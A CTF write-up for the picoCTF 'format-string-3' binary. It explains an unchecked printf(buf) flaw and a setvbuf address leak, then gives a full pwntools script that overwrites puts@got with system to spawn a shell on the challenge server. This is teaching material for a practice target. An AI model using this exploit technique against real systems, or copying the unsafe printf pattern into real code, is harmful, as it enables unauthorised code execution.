how to make your program spill tea
← back to blog
Introduction
In this challenge, we are tasked with exploiting a binary named format-string-3. We are provided with the following artifacts:
- format-string-3: The target ELF binary.
- libc.so.6: The standard C library used by the binary.
- ld-linux-x86-64.so.2: The dynamic linker.
- format-string-3.c: The source code.
Our goal is to analyze the binary’s behavior, identify a vulnerability, and exploit it to spawn a shell.
Source Code Analysis
Let’s examine the provided source code, specifically the main() function:
int main() {
char *all_strings[MAX_STRINGS] = {NULL};
char buf[1024] = {'\0'};
setup();
hello();
fgets(buf, 1024, stdin);
printf(buf);
puts(normal_string);
return 0;
}
Two critical things happen here:
- Vulnerable
printf:printf(buf)prints user input directly without a format specifier (like%s). This allows us to supply our own format specifiers (e.g.,%x,%p,%n) to read from or write to the stack and arbitrary memory locations. - Target Function: The program ends by calling
puts(normal_string), wherenormal_stringis"/bin/sh".
If we can manipulate the program so that puts is replaced by system, the call puts("/bin/sh") effectively becomes system("/bin/sh"), giving us a shell.
The Leak
Before main processes our input, the hello() function is called:
void hello() {
puts("Howdy gamers!");
printf("Okay I'll be nice. Here's the address of setvbuf in libc: %p\n", &setvbuf);
}
This function helpfully prints the runtime address of setvbuf. This is crucial because modern systems use ASLR (Address Space Layout Randomization) and PIE (Position Independent Executable), meaning memory addresses change every time the program runs.

By knowing the runtime address of setvbuf and its static offset in the provided libc.so.6, we can calculate the base address of libc. Once we have the base address, we can find the runtime address of any other function in libc, including system.
Vulnerability & Strategy
The Plan
- Capture the Leak: Read the address of
setvbuffrom the program’s initial output. - Calculate Addresses:
- Compute libc base:
libc_base = setvbuf_leak - setvbuf_offset - Compute
systemaddress:system_addr = libc_base + system_offset
- Compute libc base:
- Overwrite GOT: Use the format string vulnerability in
printf(buf)to overwrite the Global Offset Table (GOT) entry forputswith the address ofsystem.
Understanding the GOT/PLT
The Global Offset Table (GOT) is used by dynamically linked programs to resolve function addresses at runtime. When puts is called, the program looks up its address in the GOT. If we overwrite that entry with the address of system, the program will jump to system instead.
Figure: We can verify control over execution flow by crashing the program.
Debugging & Exploitation
To verify our strategy, we can use GDB. We need to find the location of puts in the GOT.

In GDB, we can inspect the PLT and GOT entries. The disassembly shows calls to puts@plt, which eventually jumps to the address stored in puts@got.

Calculating Offsets
Since we have the libc.so.6 file, the offsets are static. We can calculate the distance between setvbuf and system beforehand or let pwntools handle it dynamically.

The Exploit Script
We’ll use pwntools to automate the interaction. It handles the arithmetic, format string payload generation, and communication.
from pwn import *
# Context setup
context.binary = ELF('./format-string-3')
context.update(arch='amd64', os='linux', bits=64)
elf = context.binary
libc = ELF('./libc.so.6') # Load the provided libc
HOST, PORT = 'rhea.picoctf.net', 60973
REMOTE = True
# Start process or connect to remote
s = remote(HOST, PORT) if REMOTE else elf.process()
# 1. Parse the leak
s.recvuntil(b"libc: ")
leak_line = s.recvline().strip()
setvbuf_addr = int(leak_line, 16)
log.info(f"Leaked setvbuf: {hex(setvbuf_addr)}")
# 2. Calculate base and system address
libc.address = setvbuf_addr - libc.symbols['setvbuf']
system_addr = libc.symbols['system']
log.info(f"Libc Base: {hex(libc.address)}")
log.info(f"System Address: {hex(system_addr)}")
# 3. Overwrite puts@got with system
# We use pwntools' fmtstr_payload to automatically generate the write payload
puts_got = elf.got['puts']
# FmtStr helper to find the offset automatically (optional, usually 6 or 8 on 64-bit)
# For this challenge, we can likely assume standard offsets or find it manually.
# Let's assume we found the format string offset is 38 (based on challenge context).
format_string_offset = 38
payload = fmtstr_payload(format_string_offset, {puts_got: system_addr})
s.sendline(payload)
s.interactive()
Running the Exploit
When we run the script:
- It catches the
setvbufleak. - Calculates the address of
system. - Sends a payload that writes the
systemaddress into theputsGOT entry. - When
puts("/bin/sh")is called next,system("/bin/sh")executes instead.

And just like that, we have a shell!

References: